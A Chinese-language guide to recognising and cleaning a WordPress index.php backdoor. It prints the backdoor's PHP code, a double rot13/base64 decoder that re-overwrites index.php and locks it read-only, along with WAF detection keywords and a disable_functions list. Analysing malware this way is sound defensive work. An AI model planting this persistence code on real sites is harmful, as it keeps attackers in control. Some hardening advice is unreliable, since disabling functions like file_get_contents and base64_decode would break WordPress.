本文详解如何识别并清除 wordpress 站点中常见的 index.php 后门代码（含 str_rot13 + base64 混淆逻辑），分析其行为特征，提供紧急响应步骤、手动清理方法及长期安全加固策略。
本文详解如何识别并清除 wordpress 站点中常见的 index.php 后门代码（含 str_rot13 + base64 混淆逻辑），分析其行为特征，提供紧急响应步骤、手动清理方法及长期安全加固策略。
你看到的重复出现的 PHP 代码片段并非正常程序逻辑，而是一段典型的恶意后门脚本，已被广泛用于 WordPress 站点劫持与持久化控制。该代码会定期检查当前 index.php 文件内容是否被修改，并强行将其覆盖为攻击者预设的混淆内容（存储在 {index_hide} 文件中），从而实现自动恢复恶意代码、绕过人工修复的目的。
? 代码行为解析
$i_p = "index.php";
$index = file_get_contents($i_p);
$path = "{index_hide}"; // 注意：这不是合法路径，而是攻击者伪造的隐藏文件标识
if (file_exists($path)) {
$index_hide = file_get_contents($path);
// 双重 str_rot13 + base64 解码 —— 典型混淆手法
$index_hide = base64_decode(str_rot13(base64_decode(str_rot13($index_hide))));
if (md5($index) !== md5($index_hide)) {
@chmod($i_p, 0644); // 临时提升写权限
@file_put_contents($i_p, $index_hide); // 强制覆写 index.php
@chmod($i_p, 0444); // 锁定为只读，防人工编辑
}
}⚠️ 关键风险点：
- {index_hide} 并非标准路径，极可能位于网站根目录、wp-includes/ 或隐蔽子目录（如 .well-known/、cache/）中，甚至伪装成 .htaccess 或图片文件；
- str_rot13(base64_decode(...)) 是常见混淆链，用于躲避基础杀毒扫描；
- 0444 权限设置意在阻止管理员直接编辑 index.php，但反而暴露了攻击者意图；
- 子域名 WHMCS 返回 403 Forbidden，大概率因攻击者篡改了 .htaccess、禁用了 PHP 执行，或通过 LiteSpeed 规则拦截了未授权访问路径。
?️ 紧急响应流程（立即执行）
- 隔离站点：临时将主站与 WHMCS 子域名通过 .htaccess 或服务器配置重定向至维护页，防止进一步传播。
- 备份取证（仅限专业人员）：保存可疑文件（index.php、{index_hide}、.htaccess、wp-config.php、所有插件/主题的 functions.php）用于分析，切勿直接在线编辑。
-
彻底清空 & 重建：
- 删除全部网站文件（保留 wp-content 中的 uploads/ 和已验证安全的 themes/、plugins/ 子目录）；
- 从 wordpress.org 下载最新官方 ZIP 包，解压并上传纯净的 wp-admin/、wp-includes/、根目录核心文件（index.php, wp-login.php 等）；
- 使用强密码重置数据库用户权限，并检查 wp_users 表是否存在异常管理员账号。
-
WHMCS 专项处理：
- 确认 WHMCS 安装目录独立于 WordPress；
- 删除其根目录下所有非官方文件（尤其 index.php、configuration.php、.env）；
- 从 whmcs.com 下载对应版本安装包，仅替换核心文件；
- 检查 LiteSpeed 的 ModSecurity 规则或 .htaccess 是否误拦截 /admin/ 或 /includes/ 路径。
✅ 安全加固建议（必须落实）
-
权限最小化：
find /path/to/wordpress -type f -exec chmod 644 {} \; find /path/to/wordpress -type d -exec chmod 755 {} \; chmod 444 wp-config.php && chmod 444 .htaccess -
禁用危险函数（在 php.ini 或 LiteSpeed 配置中）：
disable_functions = file_get_contents,file_put_contents,base64_decode,str_rot13,eval,system,shell_exec - 启用 Web 应用防火墙（WAF）：LiteSpeed 自带 WAF 规则集需开启「Malware Scanner」与「PHP Backdoor Detection」；同时推荐 Cloudflare WAF + 自定义规则拦截 str_rot13\(、base64_decode\( 等关键词。
- 定期审计：使用 Wordfence 或 Sucuri SiteCheck 扫描核心文件完整性；启用登录失败锁定与两步验证。
? 重要提醒：该后门通常源于弱密码、未更新的插件（如旧版 WP GDPR Compliance、Slider Revolution）、或被黑的第三方主题。切勿依赖“仅删后门代码”——攻击者大概率已在数据库、其他 PHP 文件或 cron 任务中埋设多层后门。完整重装 + 密码轮换 + 插件溯源才是唯一可靠方案。
安全不是一次性任务，而是持续的过程。每一次更新、每一次权限审查、每一次日志复盘，都是对网站生命力的守护。
